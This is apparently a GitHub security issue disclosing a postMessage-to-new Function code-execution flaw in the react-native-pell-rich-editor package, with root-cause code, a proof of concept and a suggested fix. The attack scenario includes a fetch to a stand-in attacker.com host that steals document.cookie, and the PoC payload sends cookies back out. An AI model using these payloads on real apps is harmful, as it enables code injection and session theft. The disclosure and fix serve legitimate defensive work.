Skip to content

Arbitrary Code Execution via postMessage in react-native-pell-rich-editor #425

Description

@AAtomical

Summary

react-native-pell-rich-editor (v1.10.0 and below) generates a WebView HTML page that registers a window.addEventListener("message") handler dispatching incoming messages to an Actions object. The Actions.content.commandDOM and Actions.content.command methods pass attacker-controlled strings directly into new Function("$", command)() without validating event.origin or event.source. Any page or iframe that can send a postMessage to the WebView can execute arbitrary JavaScript in its context.

Affected Component

  • Package: react-native-pell-rich-editor v1.10.0 (npm, ~30,000 weekly downloads)
  • File: src/editor.js
  • Sinks: Actions.content.commandDOM() (line 478) and Actions.content.command() (line 481)
  • Handler: window.addEventListener("message", message, false) (line 674)

Root Cause

// src/editor.js — line 694-709
var message = function (event){
    // ❌ No event.origin check
    // ❌ No event.source check
    var msgData = JSON.parse(event.data), action = Actions[msgData.type];
    if (action ){
        if ( action[msgData.name]){
            action[msgData.name](msgData.data, msgData.options);  // ← dispatch to sink
        } else {
            action(msgData.data, msgData.options);
        }
    }
};
document.addEventListener("message", message , false);
window.addEventListener("message", message , false);

// src/editor.js — line 478-482
commandDOM: function (command){
    try {new Function("$", command)(exports.document.querySelector.bind(exports.document))} catch(e){};
    //                  ↑ attacker-controlled string executed as code
},
command: function (command){
    try {new Function("$", command)(exports.document)} catch(e){};
}

The message handler blindly parses event.data as JSON, looks up Actions[msgData.type][msgData.name], and calls it with msgData.data. When type is "content" and name is "commandDOM" or "command", the data field is passed directly to new Function() and executed.

Attack Scenario

  1. A React Native app uses react-native-pell-rich-editor to render a rich text editor inside a WebView
  2. The WebView loads HTML content that includes an attacker-controlled <iframe> (e.g., via user-submitted rich text, or a malicious page opened via deep link)
  3. The iframe sends a crafted postMessage to the parent WebView window:
    parent.postMessage(JSON.stringify({
      type: "content",
      name: "commandDOM",
      data: "fetch('https://attacker.com/steal?cookie='+document.cookie)"
    }), "*");
  4. The WebView executes the attacker's code via new Function("$", data)()

Alternatively, if the WebView URL is predictable or the app loads external content, an attacker-controlled page can target the WebView via window.open() + postMessage.

Proof of Concept

Prerequisites

  • Node.js (for build step)
  • Python 3 (for HTTP server)

Steps to Reproduce

cd exploits/react-native-rich-editor-xss
npm install                  # Installs real react-native-pell-rich-editor@1.10.0
node build.mjs               # Imports createHTML() from the real package, generates HTML
cd dist
python3 -m http.server 8081  # Serve on localhost:8081
# Open http://localhost:8081/exploit.html

build.mjs (generates victim HTML from real package):

import { createHTML } from 'react-native-pell-rich-editor/src/editor.js';
import { writeFileSync, mkdirSync } from 'fs';

mkdirSync('dist', { recursive: true });
const html = createHTML({ useContainer: true });
writeFileSync('dist/victim-webview.html', html);

Exploit payload (sent from attacker page to victim iframe):

victim.contentWindow.postMessage(JSON.stringify({
    type: "content",
    name: "commandDOM",
    data: "window.parent.postMessage(JSON.stringify({type:'EXFIL',data:document.cookie}), '*')"
}), '*');

Result

Clicking "RCE via commandDOM" sends the crafted postMessage. The WebView HTML executes new Function("$", attacker_code)() and exfiltrates data back to the attacker page. The editor content, cookies, and full DOM are accessible to the attacker.

Image

Suggested Fix

Add origin validation to the message handler:

var message = function (event){
    // Fix: only accept messages from the React Native bridge (same origin)
    // React Native WebView sends messages with a specific origin or via
    // ReactNativeWebView.postMessage which sets source appropriately
    if (event.origin !== 'null' && event.origin !== location.origin) {
        return;
    }
    var msgData = JSON.parse(event.data), action = Actions[msgData.type];
    // ... rest of handler
};

Additionally, remove commandDOM and command (which are arbitrary code execution methods) or replace them with a safe allowlist of DOM operations:

// Instead of:
commandDOM: function (command){ new Function("$", command)(...) }

// Use a predefined set of safe operations:
commandDOM: function (op, selector, value) {
    const el = document.querySelector(selector);
    if (!el) return;
    switch(op) {
        case 'addClass': el.classList.add(value); break;
        case 'removeClass': el.classList.remove(value); break;
        case 'setAttribute': /* ... */ break;
        // ... only safe operations
    }
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions